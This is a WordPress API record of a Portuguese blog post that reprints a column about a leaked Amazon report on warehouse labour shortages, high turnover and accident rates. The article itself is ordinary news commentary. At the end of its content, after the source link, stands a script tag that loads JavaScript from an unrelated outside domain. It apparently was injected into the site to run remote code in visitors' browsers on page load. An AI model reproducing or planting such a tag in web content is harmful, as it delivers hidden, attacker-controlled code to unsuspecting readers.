{"id":1876,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/em-2024-amazon-nao-tera-mais-funcionarios-para-trabalhar-em-armazens-20-06-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"em-2024-amazon-nao-tera-mais-funcionarios-para-trabalhar-em-armazens-20-06-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/em-2024-amazon-nao-tera-mais-funcionarios-para-trabalhar-em-armazens-20-06-2022\/","title":{"rendered":"Em 2024, Amazon n\u00e3o ter\u00e1 mais funcion\u00e1rios para trabalhar em armaz\u00e9ns &#8211; 20\/06\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Na \u00faltima sexta-feira (17) vazou um relat\u00f3rio interno da Amazon alertando a pr\u00f3pria empresa que ela ficar\u00e1 sem funcion\u00e1rios para trabalhar em seus armaz\u00e9ns para suportar seu crescimento acelerado.<\/p>\n<p>O relat\u00f3rio insiste que a empresa tome atitudes para impedir isso, apontando dois poss\u00edveis caminhos para isso. O primeiro seria aumentar sal\u00e1rios para manter a for\u00e7a atual e atrair novas contrata\u00e7\u00f5es. O segundo seria aumentar a automa\u00e7\u00e3o nos armaz\u00e9ns, ou seja, depender menos de pessoas.<\/p>\n<p>O relat\u00f3rio \u00e9 taxativo: &#8220;Se continuarmos os neg\u00f3cios como de costume, a Amazon esgotar\u00e1 a oferta de m\u00e3o de obra dispon\u00edvel nos EUA at\u00e9 2024&#8221;.<\/p>\n<p>O turnover nos armaz\u00e9ns da Amazon \u00e9 alt\u00edssimo. Segundo uma pesquisa do The New York Times, chega a bater 150%.<\/p>\n<p>Para os que n\u00e3o est\u00e3o acostumados com a linguagem, turnover \u00e9 a taxa de empregados que sai da empresa no per\u00edodo de um ano. Se for de 100%, significa que no per\u00edodo de um ano, uma empresa que tem 200 pessoas precisar\u00e1 contratar 200 pessoas para continuar com 200 pessoas. Agora imagine ter uma taxa de 150% e cerca de 1 milh\u00e3o de funcion\u00e1rios.<\/p>\n<p>O que assusta \u00e9 o fato do relat\u00f3rio n\u00e3o ter falado de condi\u00e7\u00f5es de trabalho.<\/p>\n<p>O turnover da empresa \u00e9 de 3 a 5 vezes maior que de outras empresas com armaz\u00e9m, indicando o que j\u00e1 \u00e9 bem conhecido pelo mercado. O foco absoluto em produtividade \u00e9 a \u00fanica preocupa\u00e7\u00e3o da empresa, sendo mais relevante que as condi\u00e7\u00f5es de trabalho de seus funcion\u00e1rios.<\/p>\n<p>Conhecida por sua alta cobran\u00e7a de ritmo de repeti\u00e7\u00e3o e vigil\u00e2ncia computadorizada implac\u00e1vel de cada movimento dos trabalhadores. Imagine uma empresa que exige que voc\u00ea pegue 6 itens por minuto da prateleira. Agora imagine fazer isso o dia todo e sendo vigiado pelo computador.<\/p>\n<p>A empresa tamb\u00e9m \u00e9 pior quando se trata de acidentes graves. Segundo a ag\u00eancia governamental regulat\u00f3ria OSHA (Administra\u00e7\u00e3o de Seguran\u00e7a e Sa\u00fade Ocupacional), a taxa de acidentes graves nos armaz\u00e9ns da Amazon s\u00e3o pelo menos duas vezes maiores que outras empresas.<\/p>\n<p>Se n\u00e3o conseguirem de vez uma solu\u00e7\u00e3o para seus rob\u00f4s substitu\u00edrem todo mundo, a Amazon agora talvez se veja obrigada a mudar de dire\u00e7\u00e3o. O paradoxo \u00e9 que talvez isso n\u00e3o signifique nenhuma mudan\u00e7a na pr\u00e1tica, apenas continuar seu caminho de aumentar o lucro a qualquer custo, mesmo que para isso, precise tratar melhor seus empregados.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/ricardo-cavallini\/2022\/06\/20\/em-2024-amazon-nao-tera-mais-funcionarios-para-contratacao-em-armazens.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na \u00faltima sexta-feira (17) vazou um relat\u00f3rio interno da Amazon alertando a pr\u00f3pria empresa que ela ficar\u00e1 sem funcion\u00e1rios para trabalhar em seus armaz\u00e9ns para suportar seu crescimento acelerado. O relat\u00f3rio insiste que a empresa tome atitudes para impedir isso, apontando dois poss\u00edveis caminhos para isso. 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